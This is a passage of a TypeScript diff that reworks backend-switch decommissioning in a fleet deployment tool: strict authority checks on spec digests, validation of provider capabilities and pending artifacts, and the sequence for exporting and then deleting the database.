+  snapshot: BackendSwitchDecommissionSnapshot,
+): FleetRecord {
+  const stable = withoutConsumedSwitchEntryCarriers(record);
+  return {
+    ...stable,
+    desiredSpecDigest: snapshot.desiredSpecDigest,
+    phase: 'decommissioning',
+  };
+}
+
+async function decommissionBackendSwitchLegacy(options: {
   readonly store: FleetStateStore;
   readonly provider: BackendSwitchProvider;
   readonly priorSpec: DeploymentSpec;
@@ -2346,15 +3990,17 @@ export async function decommissionBackendSwitch(options: {
     options.store,
     options.priorSpec.tenantTag,
     options.priorSpec.environment,
+    Date.now,
     async (lease) => {
+      assertNoActiveDecommission(lease.current(), 'decommissionBackendSwitch');
+      assertNoActiveCleanup(lease.current(), 'decommissionBackendSwitch');
       let intent = await lease.get();
       if (!intent)
         throw new Error('backend switch has no decommission snapshot');
-      if (intent.prior.specDigest !== deploymentSpecDigest(options.priorSpec)) {
-        throw new Error(
-          'backend switch prior decommission spec differs from durable intent',
-        );
-      }
+      intent = assertBackendSwitchPriorSpecAuthority(
+        lease.current(),
+        options.priorSpec,
+      );
       if (intent.subphase === 'decommissioned') return intent;
 
       if (!intent.decommissionSnapshot) {
@@ -2373,12 +4019,13 @@ export async function decommissionBackendSwitch(options: {
           decommissionSnapshot: snapshot,
         });
         await lease.putOwnership(
-          { ...lease.current(), phase: 'decommissioning' },
+          normalizeLegacySwitchDecommissionEntry(lease.current(), snapshot),
           intent,
         );
       } else if (!intent.subphase.startsWith('decommission-')) {
+        const existingSnapshot = intent.decommissionSnapshot;
         await assertApplicationR2EmptyBeforeDecommission({
-          resources: intent.decommissionSnapshot.applicationResources,
+          resources: existingSnapshot.applicationResources,
           backend: {
             findApplicationR2Bucket: (resource) =>
               options.provider.findSwitchApplicationR2(resource),
@@ -2389,7 +4036,10 @@ export async function decommissionBackendSwitch(options: {
         });
         intent = next(intent, 'decommission-traffic-authorized');
         await lease.putOwnership(
-          { ...lease.current(), phase: 'decommissioning' },
+          normalizeLegacySwitchDecommissionEntry(
+            lease.current(),
+            existingSnapshot,
+          ),
           intent,
         );
       }
@@ -2554,10 +4204,10 @@ export async function decommissionBackendSwitch(options: {
         let r2Intent: BackendSwitchIntent = intent;
 
         await convergeApplicationR2Deletion({
-          resources: applicationR2Progress.map(({ resource, subphase }) => ({
-            ...resource,
-            state: subphase,
-          })),
+          spec: options.targetSpec,
+          resources: applicationR2Progress.map(
+            applicationR2ResourceFromProgress,
+          ),
           backend: {
             findApplicationR2Bucket: (resource) =>
               options.provider.findSwitchApplicationR2(resource),
@@ -2632,6 +4282,7 @@ export async function decommissionBackendSwitch(options: {
         const record: FleetRecord = {
           ...lease.current(),
           phase: 'decommissioned',
+          applicationResources: switchTeardownApplicationResources(intent),
           databaseExportLocation: durableExport.location,
           databaseExportSha256: durableExport.sha256,
           databaseExportSize: durableExport.size,
@@ -2642,3 +4293,1607 @@ export async function decommissionBackendSwitch(options: {
     },
   );
 }
+
+type ActiveBackendSwitchShell = Exclude<
+  DecommissionAdvanceIntent,
+  { readonly state: 'complete' }
+>;
+
+interface BackendSwitchCapabilitySet {
+  readonly scan: NonNullable<
+    BackendSwitchProvider['advanceSwitchDecommissionAttachmentScan']
+  >;
+  readonly receiptAuthority: string;
+  readonly exportReceipt: NonNullable<
+    BackendSwitchProvider['exportSwitchDatabaseReceipt']
+  >;
+  readonly getDatabase: NonNullable<BackendSwitchProvider['getSwitchDatabase']>;
+  readonly readOwner: NonNullable<
+    BackendSwitchProvider['readSwitchDatabaseOwner']
+  >;
+  readonly residuals: NonNullable<
+    BackendSwitchProvider['assertSwitchDatabaseDeletionResidualsRemoved']
+  >;
+  readonly deleteDatabase: NonNullable<
+    BackendSwitchProvider['deleteSwitchDatabaseBounded']
+  >;
+}
+
+function readProviderMethod<Key extends keyof BackendSwitchProvider>(
+  provider: BackendSwitchProvider,
+  key: Key,
+  capability: import('./decommission-advance.js').DecommissionAdvanceCapability,
+): NonNullable<BackendSwitchProvider[Key]> {
+  let value: BackendSwitchProvider[Key];
+  try {
+    value = Reflect.get(provider, key, provider) as BackendSwitchProvider[Key];
+  } catch {
+    throw new DecommissionAdvanceCapabilityError(capability);
+  }
+  if (typeof value !== 'function') {
+    throw new DecommissionAdvanceCapabilityError(capability);
+  }
+  return value.bind(provider) as NonNullable<BackendSwitchProvider[Key]>;
+}
+
+function strictSwitchReceiptPair(
+  provider: BackendSwitchProvider,
+  authority: unknown,
+  method: unknown,
+  allowAbsent: boolean,
+):
+  | Readonly<{
+      authority: string;
+      exportReceipt: NonNullable<
+        BackendSwitchProvider['exportSwitchDatabaseReceipt']
+      >;
+    }>
+  | undefined {
+  if (authority === undefined && method === undefined) {
+    if (allowAbsent) return undefined;
+    throw new DecommissionAdvanceCapabilityError('database-export-receipt');
+  }
+  if (
+    typeof authority !== 'string' ||
+    authority.length === 0 ||
+    new TextEncoder().encode(authority).byteLength > 4_096 ||
+    typeof method !== 'function'
+  ) {
+    throw new Error('database export receipt capability is malformed');
+  }
+  return {
+    authority,
+    exportReceipt: method.bind(provider) as NonNullable<
+      BackendSwitchProvider['exportSwitchDatabaseReceipt']
+    >,
+  };
+}
+
+function captureBackendSwitchDecommissionCapabilities(
+  provider: BackendSwitchProvider,
+  observed?: Readonly<{
+    scan: NonNullable<
+      BackendSwitchProvider['advanceSwitchDecommissionAttachmentScan']
+    >;
+    receiptAuthority: string;
+    exportReceipt: NonNullable<
+      BackendSwitchProvider['exportSwitchDatabaseReceipt']
+    >;
+  }>,
+): BackendSwitchCapabilitySet {
+  const scan =
+    observed?.scan ??
+    readProviderMethod(
+      provider,
+      'advanceSwitchDecommissionAttachmentScan',
+      'attachment-scan',
+    );
+  let receiptAuthority: string;
+  let exportReceipt: NonNullable<
+    BackendSwitchProvider['exportSwitchDatabaseReceipt']
+  >;
+  if (observed) {
+    const pair = strictSwitchReceiptPair(
+      provider,
+      observed.receiptAuthority,
+      observed.exportReceipt,
+      false,
+    ) as NonNullable<ReturnType<typeof strictSwitchReceiptPair>>;
+    receiptAuthority = pair.authority;
+    exportReceipt = pair.exportReceipt;
+  } else {
+    let rawAuthority: unknown;
+    let rawExportReceipt: unknown;
+    try {
+      rawAuthority = Reflect.get(
+        provider,
+        'databaseExportReceiptAuthority',
+        provider,
+      );
+      rawExportReceipt = Reflect.get(
+        provider,
+        'exportSwitchDatabaseReceipt',
+        provider,
+      );
+    } catch {
+      throw new Error('database export receipt capability is malformed');
+    }
+    const pair = strictSwitchReceiptPair(
+      provider,
+      rawAuthority,
+      rawExportReceipt,
+      false,
+    ) as NonNullable<ReturnType<typeof strictSwitchReceiptPair>>;
+    receiptAuthority = pair.authority;
+    exportReceipt = pair.exportReceipt;
+  }
+  return {
+    scan,
+    receiptAuthority,
+    exportReceipt,
+    getDatabase: readProviderMethod(
+      provider,
+      'getSwitchDatabase',
+      'database-read',
+    ),
+    readOwner: readProviderMethod(
+      provider,
+      'readSwitchDatabaseOwner',
+      'database-read',
+    ),
+    residuals: readProviderMethod(
+      provider,
+      'assertSwitchDatabaseDeletionResidualsRemoved',
+      'database-residuals',
+    ),
+    deleteDatabase: readProviderMethod(
+      provider,
+      'deleteSwitchDatabaseBounded',
+      'database-delete',
+    ),
+  };
+}
+
+function backendSwitchToken(record: FleetRecord): DecommissionAdvanceToken {
+  const shell = record.decommissionIntent;
+  if (!shell) throw new DecommissionAdvanceTokenOperationError();
+  return {
+    version: 1,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    operationId: shell.operationId,
+    revision: shell.revision,
+  };
+}
+
+function backendSwitchAdvanceResult(
+  record: FleetRecord,
+): DecommissionAdvanceResult {
+  const shell = record.decommissionIntent;
+  if (!shell) throw new DecommissionAdvanceTokenOperationError();
+  const token = backendSwitchToken(record);
+  if (shell.state === 'blocked') {
+    return {
+      status: 'blocked',
+      token,
+      purpose: shell.purpose,
+      attachment: shell.attachment,
+    };
+  }
+  if (shell.state === 'complete') {
+    return {
+      status: 'complete',
+      token,
+      result: {
+        record,
+        databaseExport: {
+          databaseId: record.databaseId,
+          location: record.databaseExportLocation as string,
+          sha256: record.databaseExportSha256 as string,
+          size: record.databaseExportSize as number,
+        },
+      },
+    };
+  }
+  return { status: 'pending', token };
+}
+
+function effectiveBackendSwitchDigest(record: FleetRecord): string {
+  const carriers = [
+    record.migrationIntent?.targetSpecDigest,
+    record.pendingSpecDigest,
+    record.pendingRelease?.specDigest,
+  ].filter((value): value is string => value !== undefined);
+  if (carriers.some((value) => value !== carriers[0])) {
+    throw new Error(
+      'backend switch decommission specification carriers conflict',
+    );
+  }
+  return carriers[0] ?? record.desiredSpecDigest;
+}
+
+function specForDigest(
+  digest: string,
+  options: Pick<
+    AdvanceBackendSwitchDecommissionOptions,
+    'priorSpec' | 'targetSpec' | 'currentSpec'
+  >,
+): DeploymentSpec {
+  for (const candidate of [
+    options.priorSpec,
+    options.targetSpec,
+    options.currentSpec,
+  ]) {
+    if (candidate && deploymentSpecDigest(candidate) === digest) {
+      assertSameDeployment(options.priorSpec, candidate);
+      return candidate;
+    }
+  }
+  throw new Error(
+    'backend switch decommission requires the exact current specification',
+  );
+}
+
+function pendingInspectionFromUnknown(
+  value: unknown,
+  expectedArtifactVersion: string,
+  spec: DeploymentSpec,
+  record: FleetRecord,
+): SwitchEntryPendingArtifactInspection {
+  const malformed = () => {
+    throw new Error('backend switch pending artifact inspection is malformed');
+  };
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: SWITCH_PLAIN_DATA_DEPTH_BOUND,
+      maxNodes: SWITCH_PLAIN_DATA_NODE_BOUND,
+      maxScalarBytes: SWITCH_PLAIN_DATA_BYTE_BOUND,
+      maxSerializedBytes: SWITCH_PLAIN_DATA_BYTE_BOUND,
+      error: malformed,
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    return malformed();
+  }
+  if (!plain || typeof plain !== 'object' || Array.isArray(plain)) {
+    return malformed();
+  }
+  const candidate = plain as Record<string, unknown>;
+  const keys = Reflect.ownKeys(candidate);
+  const expectedKeys = [
+    'application',
+    'artifactVersion',
+    'databaseIds',
+    'durableObjectBindings',
+    'queueProducerBindings',
+    'secretNames',
+    'serviceBindings',
+    'specDigest',
+  ].sort();
+  if (
+    keys.some((key) => typeof key !== 'string') ||
+    JSON.stringify((keys as string[]).sort()) !==
+      JSON.stringify(expectedKeys) ||
+    candidate.artifactVersion !== expectedArtifactVersion ||
+    candidate.specDigest !== deploymentSpecDigest(spec) ||
+    !Array.isArray(candidate.databaseIds) ||
+    JSON.stringify(candidate.databaseIds) !==
+      JSON.stringify([record.databaseId]) ||
+    !Array.isArray(candidate.durableObjectBindings) ||
+    !Array.isArray(candidate.secretNames) ||
+    !Array.isArray(candidate.serviceBindings) ||
+    !Array.isArray(candidate.queueProducerBindings)
+  ) {
+    return malformed();
+  }
+  let durableObjectBindings: readonly DurableObjectBindingInventory[];
+  let application: import('./types.js').ApplicationBindingTopology;
+  try {
+    durableObjectBindings = durableBindings(
+      candidate.durableObjectBindings,
+      'pending artifact Durable Object bindings',
+    );
+    application = applicationBindingTopologyFromUnknown(
+      candidate.application,
+      'pending artifact application topology',
+    );
+  } catch {
+    return malformed();
+  }
+  const namespaceIds = durableObjectBindings.map(
+    ({ namespaceId }) => namespaceId,
+  );
+  const canonicalNamespaceIds = [...new Set(namespaceIds)].sort(
+    (left, right) => (left < right ? -1 : left > right ? 1 : 0),
+  );
+  const services = candidate.serviceBindings.map((binding) => {
+    if (!binding || typeof binding !== 'object' || Array.isArray(binding)) {
+      return malformed();
+    }
+    const item = binding as Record<string, unknown>;
+    requireExactKeys(
+      item,
+      ['name', 'service'],
+      ['entrypoint'],
+      'backend switch pending artifact inspection is malformed',
+    );
+    if (
+      typeof item.name !== 'string' ||
+      !item.name ||
+      typeof item.service !== 'string' ||
+      !item.service ||
+      (item.entrypoint !== undefined &&
+        (typeof item.entrypoint !== 'string' || !item.entrypoint))
+    ) {
+      return malformed();
+    }
+    return {
+      name: item.name,
+      service: item.service,
+      ...(item.entrypoint === undefined
+        ? {}
+        : { entrypoint: item.entrypoint as string }),
+    };
+  });
+  const queues = candidate.queueProducerBindings.map((binding) => {
+    if (!binding || typeof binding !== 'object' || Array.isArray(binding)) {
+      return malformed();
+    }
+    const item = binding as Record<string, unknown>;
+    requireExactKeys(
+      item,
+      ['name', 'queueName'],
+      [],
+      'backend switch pending artifact inspection is malformed',
+    );
+    if (
+      typeof item.name !== 'string' ||
+      !item.name ||
+      typeof item.queueName !== 'string' ||
+      !item.queueName
+    ) {
+      return malformed();
+    }
+    return { name: item.name, queueName: item.queueName };
+  });
+  let secretNames: readonly string[];
+  try {
+    secretNames = stringArray(
+      candidate.secretNames,
+      'pending artifact secrets',
+    );
+  } catch {
+    return malformed();
+  }
+  const byName = <T extends { readonly name: string }>(items: readonly T[]) =>
+    [...items].sort((left, right) =>
+      left.name < right.name ? -1 : left.name > right.name ? 1 : 0,
+    );
+  const canonicalDurableObjectBindings = byName(durableObjectBindings);
+  const expectedDurableObjectBindings = byName(
+    spec.durableObjectBindings.map((binding) => ({ ...binding })),
+  );
+  const observedDurableAuthority = byName(
+    durableObjectBindings.map(
+      ({ name, className, scriptName, dispatchNamespace }) => ({
+        name,
+        className,
+        ...(scriptName === undefined ? {} : { scriptName }),
+        ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }),
+      }),
+    ),
+  );
+  const expectedServices = spec.egressProxyService
+    ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }]
+    : [];
+  const expectedQueues = spec.queueProducer
+    ? [
+        {
+          name: spec.queueProducer.binding,
+          queueName: spec.queueProducer.queueName,
+        },
+      ]
+    : [];
+  const expectedApplication = applicationBindingTopology(
+    spec,
+    record.applicationResources ?? [],
+  );
+  const expectedSecrets = [
+    'DEPLOYMENT_IDENTITY_SECRET',
+    'MAINTENANCE_ADMIN_SECRET',
+    ...expectedApplication.secrets.map(({ name }) => name),
+  ].sort((left, right) => (left < right ? -1 : left > right ? 1 : 0));
+  if (
+    record.tenantTag !== spec.tenantTag ||
+    record.environment !== spec.environment ||
+    record.scriptName !== spec.scriptName ||
+    record.databaseName !== spec.databaseName ||
+    namespaceIds.some((namespaceId) => namespaceId.length === 0) ||
+    namespaceIds.length !== canonicalNamespaceIds.length ||
+    !sameCanonicalData(durableObjectBindings, canonicalDurableObjectBindings) ||
+    !sameCanonicalData(
+      observedDurableAuthority,
+      expectedDurableObjectBindings,
+    ) ||
+    !sameCanonicalData(services, expectedServices) ||
+    !sameCanonicalData(queues, expectedQueues) ||
+    !sameCanonicalData(secretNames, expectedSecrets) ||
+    !sameCanonicalData(application, expectedApplication) ||
+    !sameCanonicalData(record.applicationBindings, expectedApplication)
+  ) {
+    return malformed();
+  }
+  return {
+    artifactVersion: expectedArtifactVersion,
+    specDigest: deploymentSpecDigest(spec),
+    databaseIds: [record.databaseId],
+    durableObjectBindings,
+    secretNames,
+    serviceBindings: services,
+    queueProducerBindings: queues,
+    application,
+  };
+}
+
+function assertBackendSwitchPriorSpecAuthority(
+  record: FleetRecord,
+  priorSpec: DeploymentSpec,
+): BackendSwitchIntent {
+  const intent = record.backendSwitchIntent;
+  if (!intent) throw new Error('backend switch has no decommission snapshot');
+  if (
+    intent.prior.specDigest !== deploymentSpecDigest(priorSpec) ||
+    intent.prior.customDomain.hostname.toLowerCase() !==
+      priorSpec.routeHostname.toLowerCase() ||
+    (intent.decommissionSnapshot !== undefined &&
+      intent.decommissionSnapshot.routeHostname.toLowerCase() !==
+        priorSpec.routeHostname.toLowerCase()) ||
+    (intent.decommissionSnapshot?.prior !== undefined &&
+      (intent.decommissionSnapshot.prior.specDigest !==
+        deploymentSpecDigest(priorSpec) ||
+        intent.decommissionSnapshot.prior.customDomain.hostname.toLowerCase() !==
+          priorSpec.routeHostname.toLowerCase()))
+  ) {
+    throw new Error(
+      'backend switch prior decommission spec differs from durable intent',
+    );
+  }
+  return intent;
+}
+
+function assertBackendSwitchDecommissionAuthority(
+  record: FleetRecord,
+  options: Pick<
+    AdvanceBackendSwitchDecommissionOptions,
+    'priorSpec' | 'targetSpec' | 'currentSpec'
+  >,
+  capabilities: Pick<BackendSwitchCapabilitySet, 'receiptAuthority'>,
+): void {
+  const intent = assertBackendSwitchPriorSpecAuthority(
+    record,
+    options.priorSpec,
+  );
+  const shell = record.decommissionIntent;
+  const snapshot = intent.decommissionSnapshot;
+  const providerTargetSpecDigest =
+    snapshot?.providerTargetSpecDigest ??
+    intent.stateReconcileIntent?.targetSpecDigest ??
+    intent.targetSpecDigest;
+  if (providerTargetSpecDigest !== deploymentSpecDigest(options.targetSpec)) {
+    throw new Error(
+      'backend switch target decommission spec differs from durable intent',
+    );
+  }
+  const desiredSpecDigest = snapshot
+    ? snapshot.desiredSpecDigest
+    : effectiveBackendSwitchDigest(record);
+  if (options.currentSpec) {
+    if (desiredSpecDigest !== deploymentSpecDigest(options.currentSpec)) {
+      throw new Error(
+        'backend switch current decommission spec differs from durable intent',
+      );
+    }
+  } else {
+    specForDigest(desiredSpecDigest, options);
+  }
+  if (shell && shell.state !== 'complete') {
+    databaseExportReceiptIdentity(
+      record,
+      shell.operationId,
+      shell.databaseExportReceiptAuthority ?? capabilities.receiptAuthority,
+      capabilities.receiptAuthority,
+    );
+  }
+}
+
+function completeSnapshotGroup(
+  snapshot: BackendSwitchDecommissionSnapshot | undefined,
+): snapshot is BackendSwitchDecommissionSnapshot &
+  Required<
+    Pick<
+      BackendSwitchDecommissionSnapshot,
+      | 'prior'
+      | 'restoredArtifactVersion'
+      | 'entryPendingArtifactVersion'
+      | 'entryPendingNamespaceIds'
+      | 'providerTargetSpecDigest'
+    >
+  > {
+  return Boolean(
+    snapshot?.prior &&
+      snapshot.restoredArtifactVersion !== undefined &&
+      snapshot.entryPendingArtifactVersion !== undefined &&
+      snapshot.entryPendingNamespaceIds !== undefined &&
+      snapshot.providerTargetSpecDigest,
+  );
+}
+
+function nextBackendSwitchShell(
+  record: FleetRecord,
+  switchIntent: BackendSwitchIntent,
+  transition: DecommissionIntentTransition,
+): ActiveBackendSwitchShell {
+  const shell = record.decommissionIntent;
+  if (!shell || shell.state === 'complete') {
+    throw new Error('backend switch decommission shell is not active');
+  }
+  const receiptAuthority =
+    shell.databaseExportReceiptAuthority ??
+    transition.databaseExportReceiptAuthority;
+  const common = {
+    version: 1 as const,
+    operationId: shell.operationId,
+    revision: shell.revision + 1,
+    generation: transition.generation ?? shell.generation,
+    updatedAt: record.updatedAt,
+    identity: shell.identity,
+    ...(receiptAuthority
+      ? { databaseExportReceiptAuthority: receiptAuthority }
+      : {}),
+    lifecyclePhase:
+      transition.lifecyclePhase ??
+      (backendSwitchDecommissionLifecyclePhase(
+        switchIntent.subphase,
+        shell.lifecyclePhase,
+      ) as import('./types.js').NormalDecommissionLifecyclePhase),
+  };
+  switch (transition.state) {
+    case 'transitioning':
+      return { ...common, state: 'transitioning' };
+    case 'discover':
+      return {
+        ...common,
+        state: 'discover',
+        purpose: transition.purpose,
+        progress: transition.progress,
+      };
+    case 'verify':
+      return {
+        ...common,
+        state: 'verify',
+        purpose: transition.purpose,
+        progress: transition.progress,
+        discoverEvidence: transition.discoverEvidence,
+      };
+    case 'blocked':
+      return {
+        ...common,
+        state: 'blocked',
+        purpose: transition.purpose,
+        attachment: transition.attachment,
+      };
+  }
+}
+
+async function putBackendSwitchOwnership(
+  lease: BackendSwitchLease,
+  switchIntent: BackendSwitchIntent,
+  shell: DecommissionAdvanceIntent,
+  patch: Partial<FleetRecord> = {},
+): Promise<FleetRecord> {
+  const current = lease.current();
+  const applicationResources = switchTeardownApplicationResources(switchIntent);
+  const nextRecord: FleetRecord = {
+    ...current,
+    ...patch,
+    backendSwitchIntent: switchIntent,
+    decommissionIntent: shell,
+    applicationResources,
+    phase:
+      shell.state === 'complete' ? 'decommissioned' : 'decommission-advancing',
+    updatedAt: current.updatedAt,
+  };
+  await lease.putOwnership(nextRecord, switchIntent);
+  return lease.current();
+}
+
+function allowedSwitchArtifactVersions(
+  snapshot: BackendSwitchDecommissionSnapshot,
+): readonly string[] {
+  return [
+    snapshot.prior?.artifactVersion,
+    snapshot.bridge?.artifactVersion,
+    snapshot.restoredArtifactVersion ?? undefined,
+    snapshot.resources?.stateWorker.artifactVersion,
+  ].filter((value): value is string => Boolean(value));
+}
+
+function entryPendingArtifact(
+  snapshot: BackendSwitchDecommissionSnapshot,
+  options: AdvanceBackendSwitchDecommissionOptions,
+):
+  | Readonly<{
+      artifactVersion: string;
+      namespaceIds: readonly string[];
+      spec: DeploymentSpec;
+    }>
+  | undefined {
+  if (
+    snapshot.entryPendingArtifactVersion === null ||
+    snapshot.entryPendingNamespaceIds === null
+  ) {
+    return undefined;
+  }
+  if (
+    snapshot.entryPendingArtifactVersion === undefined ||
+    snapshot.entryPendingNamespaceIds === undefined
+  ) {
+    throw new Error(
+      'backend switch decommission snapshot lacks entry authority',
+    );
+  }
+  return {
+    artifactVersion: snapshot.entryPendingArtifactVersion,
+    namespaceIds: snapshot.entryPendingNamespaceIds,
+    spec: specForDigest(snapshot.desiredSpecDigest, options),
+  };
+}
+
+function purposeTargetForSwitch(
+  purpose: import('./types.js').DecommissionAttachmentPurpose,
+) {
+  return purpose.kind === 'application-r2-detach'
+    ? ({ kind: 'r2', bucketName: purpose.bucketName } as const)
+    : ({ kind: 'd1', databaseId: purpose.databaseId } as const);
+}
+
+function databasePreDeletePurposeForSwitch(record: FleetRecord) {
+  if (
+    !record.databaseExportLocation ||
+    !record.databaseExportSha256 ||
+    !record.databaseExportSize
+  ) {
+    throw new Error('backend switch decommission has no durable export');
+  }
+  return {
+    kind: 'database-pre-delete' as const,
+    databaseId: record.databaseId,
+    exportLocation: record.databaseExportLocation,
+    exportSha256: record.databaseExportSha256,
+    exportSize: record.databaseExportSize,
+  };
+}
+
+async function reconcileSwitchDatabase(
+  capabilities: BackendSwitchCapabilitySet,
+  record: FleetRecord,
+  lease: BackendSwitchLease,
+  allowAbsent: boolean,
+): Promise<(DatabaseReference & { readonly created: false }) | undefined> {
+  return reconcilePersistedDatabaseFromCallbacks({
+    getDatabase: capabilities.getDatabase,
+    readOwner: capabilities.readOwner,
+    record,
+    allowAbsent,
+    requireOwner: true,
+    fence: lease,
+  });
+}
+
+async function consumeSwitchVerify(
+  options: AdvanceBackendSwitchDecommissionOptions,
+  lease: BackendSwitchLease,
+  capabilities: BackendSwitchCapabilitySet,
+  verified: Extract<DecommissionAdvanceIntent, { readonly state: 'verify' }>,
+): Promise<FleetRecord> {
+  const record = lease.current();
+  const switchIntent = record.backendSwitchIntent as BackendSwitchIntent;
+  if (verified.purpose.kind === 'application-r2-detach') {
+    await lease.assertOwned();
+    const advanced = await advanceApplicationR2Deletion({
+      spec: specForDigest(
+        switchIntent.decommissionSnapshot?.desiredSpecDigest ??
+          record.desiredSpecDigest,
+        options,
+      ),
+      resources: record.applicationResources ?? [],
+      backend: {
+        findApplicationR2Bucket: (resource) =>
+          options.provider.findSwitchApplicationR2(resource),
+      },
+      fence: lease,
+      startResourceIndex: 0,
+      verifiedDetachmentResourceIndex: verified.purpose.resourceIndex,
+    });
+    if (
+      advanced.status !== 'resource-advanced' ||
+      advanced.resourceIndex !== verified.purpose.resourceIndex ||
+      advanced.resources[advanced.resourceIndex]?.state !== 'detached'
+    ) {
+      throw new Error('bounded decommission attachment result is malformed');
+    }
+    const nextSwitch = next(
+      switchIntent,
+      'decommission-application-r2-authorized',
+      {
+        applicationR2Progress: advanced.resources.map((resource) => ({
+          resource,
+          subphase: resource.state,
+        })),
+      },
+    );
+    return putBackendSwitchOwnership(
+      lease,
+      nextSwitch,
+      nextBackendSwitchShell(record, nextSwitch, { state: 'transitioning' }),
+    );
+  }
+  const database = await reconcileSwitchDatabase(
+    capabilities,
+    record,
+    lease,
+    verified.lifecyclePhase === 'database-deleting',
+  );
+  if (!database) {
+    return completeBackendSwitchDecommission(lease, record, switchIntent);
+  }
+  await capabilities.residuals({
+    prior: switchIntent.decommissionSnapshot?.prior ?? switchIntent.prior,
+    targetSpec: options.targetSpec,
+    currentRecord: record,
+    database,
+    fence: lease,
+  });
+  if (verified.purpose.kind === 'database-pre-export') {
+    const identity = databaseExportReceiptIdentity(
+      record,
+      verified.operationId,
+      verified.databaseExportReceiptAuthority as string,
+      capabilities.receiptAuthority,
+    );
+    await lease.assertOwned();
+    const exported = databaseExportFromUnknown(
+      await capabilities.exportReceipt(identity, {
+        prior: switchIntent.decommissionSnapshot?.prior ?? switchIntent.prior,
+        targetSpec: options.targetSpec,
+        fence: lease,
+      }),
+      record.databaseId,
+    );
+    const nextSwitch = next(switchIntent, 'decommission-exported', {
+      databaseExport: exported,
+    });
+    return putBackendSwitchOwnership(
+      lease,
+      nextSwitch,
+      nextBackendSwitchShell(record, nextSwitch, {
+        state: 'transitioning',
+        lifecyclePhase: 'database-exported',
+      }),
+      {
+        databaseExportLocation: exported.location,
+        databaseExportSha256: exported.sha256,
+        databaseExportSize: exported.size,
+      },
+    );
+  }
+  if (verified.purpose.kind !== 'database-pre-delete') {
+    throw new Error('bounded decommission attachment result is malformed');
+  }
+  const nextSwitch = next(switchIntent, 'decommission-database-authorized');
+  const barrier = await putBackendSwitchOwnership(
+    lease,
+    nextSwitch,
+    nextBackendSwitchShell(record, nextSwitch, {
+      state: 'transitioning',
+      lifecyclePhase: 'database-deleting',
+    }),
+  );
+  await settleDatabaseDeletionUnderBarrier({
+    lease,
+    databaseId: record.databaseId,
+    barrier,
+    deleteDatabase: () =>
+      capabilities.deleteDatabase({
+        prior: switchIntent.decommissionSnapshot?.prior ?? switchIntent.prior,
+        targetSpec: options.targetSpec,
+        database,
+        fence: lease,
+      }),
+    readDatabase: () => capabilities.getDatabase(record.databaseId),
+  });
+  return lease.current();
+}
+
+async function completeBackendSwitchDecommission(
+  lease: BackendSwitchLease,
+  record: FleetRecord,
+  switchIntent: BackendSwitchIntent,
+): Promise<FleetRecord> {
+  const shell = record.decommissionIntent;
+  if (
+    !shell ||
+    shell.state === 'complete' ||
+    !switchIntent.databaseExport ||
+    (record.applicationResources ?? []).some(
+      (resource) => resource.state !== 'deleted',
+    )
+  ) {
+    throw new Error(
+      'backend switch decommission terminal authority is malformed',
+    );
+  }
+  const completeShell: DecommissionAdvanceIntent = {
+    version: 1,
+    operationId: shell.operationId,
+    revision: shell.revision + 1,
+    generation: shell.generation,
+    updatedAt: record.updatedAt,
+    identity: shell.identity,
+    databaseExportReceiptAuthority:
+      shell.databaseExportReceiptAuthority as string,
+    lifecyclePhase: 'decommissioned',
+    state: 'complete',
+  };
+  return putBackendSwitchOwnership(
+    lease,
+    next(switchIntent, 'decommissioned'),
+    completeShell,
+    {
+      phase: 'decommissioned',
+      databaseExportLocation: switchIntent.databaseExport.location,
+      databaseExportSha256: switchIntent.databaseExport.sha256,
+      databaseExportSize: switchIntent.databaseExport.size,
+    },
+  );
+}
+
+async function startBoundedSwitchShell(
+  options: AdvanceBackendSwitchDecommissionOptions,
+  lease: BackendSwitchLease,
+  capabilities: BackendSwitchCapabilitySet,
+): Promise<FleetRecord> {
+  const record = lease.current();
+  let intent = assertBackendSwitchPriorSpecAuthority(record, options.priorSpec);
+  if (
+    intent.subphase === 'candidate-deploy-authorized' ||
+    intent.subphase === 'rollback-restore-authorized' ||
+    intent.subphase === 'finalize-authorized'
+  ) {
+    throw new Error(
+      `backend switch decommission must settle '${intent.subphase}' before teardown`,
+    );
+  }
+  if (intent.stateReconcileIntent?.subphase === 'upload-authorized') {
+    throw new Error(
+      "backend switch decommission must settle 'upload-authorized' before teardown",
+    );
+  }
+  if (
+    BACKEND_SWITCH_SUBPHASES.indexOf(intent.subphase) >=
+    BACKEND_SWITCH_SUBPHASES.indexOf('decommission-export-authorized')
+  ) {
+    throw new Error(
+      'bounded backend-switch decommission cannot adopt shell-less legacy D1 authorization',
+    );
+  }
+  if (
+    intent.decommissionSnapshot &&
+    !completeSnapshotGroup(intent.decommissionSnapshot) &&
+    record.backend === 'plain-worker' &&
+    !record.pendingArtifactVersion
+  ) {
+    throw new Error(
+      'bounded backend-switch decommission cannot adopt compatibility-ambiguous shell-less plain authority',
+    );
+  }
+  if (intent.subphase === 'bridge-upload-authorized') {
+    const recovered = await options.provider.recoverBridge({
+      priorSpec: options.priorSpec,
+      targetSpec: options.targetSpec,
+      prior: intent.prior,
+      plan: requiredBridgePlan(intent),
+      fence: lease,
+    });
+    if (!recovered) {
+      throw new Error(
+        "backend switch decommission must settle 'bridge-upload-authorized' before teardown",
+      );
+    }
+    intent = next(intent, 'bridge-deployed', {
+      bridge: bridgeSnapshot(recovered),
+    });
+  }
+  const desiredSpecDigest = effectiveBackendSwitchDigest(record);
+  const currentSpec = specForDigest(desiredSpecDigest, options);
+  let entryPendingArtifactVersion: string | null = null;
+  let entryPendingNamespaceIds: readonly string[] | null = null;
+  if (record.pendingArtifactVersion) {
+    let capture: BackendSwitchProvider['captureSwitchEntryPendingArtifact'];
+    try {
+      capture = Reflect.get(
+        options.provider,
+        'captureSwitchEntryPendingArtifact',
+        options.provider,
+      ) as BackendSwitchProvider['captureSwitchEntryPendingArtifact'];
+    } catch {
+      throw new DecommissionAdvanceCapabilityError(
+        'pending-artifact-inspection',
+      );
+    }
+    if (typeof capture !== 'function') {
+      throw new DecommissionAdvanceCapabilityError(
+        'pending-artifact-inspection',
+      );
+    }
+    const inspection = pendingInspectionFromUnknown(
+      await capture.call(options.provider, {
+        expectedArtifactVersion: record.pendingArtifactVersion,
+        spec: currentSpec,
+        currentRecord: record,
+        fence: lease,
+      }),
+      record.pendingArtifactVersion,
+      currentSpec,
+      record,
+    );
